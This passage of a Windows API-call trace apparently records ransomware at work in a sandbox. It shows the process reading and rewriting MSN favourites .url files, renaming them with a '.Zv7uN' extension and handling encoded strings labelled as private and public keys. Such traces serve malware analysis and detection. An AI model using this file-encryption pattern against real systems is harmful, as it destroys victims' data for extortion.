lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.101] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.103] CloseHandle (hObject=0x1e8) returned 1 [0126.103] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.105] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.107] CloseHandle (hObject=0x1e8) returned 1 [0126.107] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Money.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn money.url.zv7un")) returned 1 [0126.108] GetCurrentThreadId () returned 0xa30 [0126.108] GetCurrentThreadId () returned 0xa30 [0126.108] GetCurrentThreadId () returned 0xa30 [0126.108] GetCurrentThreadId () returned 0xa30 [0126.108] GetCurrentThreadId () returned 0xa30 [0126.108] GetCurrentThreadId () returned 0xa30 [0126.109] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0126.109] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.109] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.109] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.109] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url")) returned 0x20 [0126.109] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url", dwFileAttributes=0x80) returned 1 [0126.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.111] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.112] GetCurrentThreadId () returned 0xa30 [0126.112] GetCurrentThreadId () returned 0xa30 [0126.112] GetCurrentThreadId () returned 0xa30 [0126.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.113] GetCurrentThreadId () returned 0xa30 [0126.113] GetCurrentThreadId () returned 0xa30 [0126.113] GetCurrentThreadId () returned 0xa30 [0126.113] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.114] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.114] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.114] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.114] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.114] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.117] CloseHandle (hObject=0x1e8) returned 1 [0126.117] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.119] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.121] CloseHandle (hObject=0x1e8) returned 1 [0126.121] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN Sports.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn sports.url.zv7un")) returned 1 [0126.122] GetCurrentThreadId () returned 0xa30 [0126.122] GetCurrentThreadId () returned 0xa30 [0126.122] GetCurrentThreadId () returned 0xa30 [0126.122] GetCurrentThreadId () returned 0xa30 [0126.122] GetCurrentThreadId () returned 0xa30 [0126.122] GetCurrentThreadId () returned 0xa30 [0126.122] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0126.122] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.122] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.123] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.124] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msn.url")) returned 0x20 [0126.124] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSN.url", dwFileAttributes=0x80) returned 1 [0126.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4w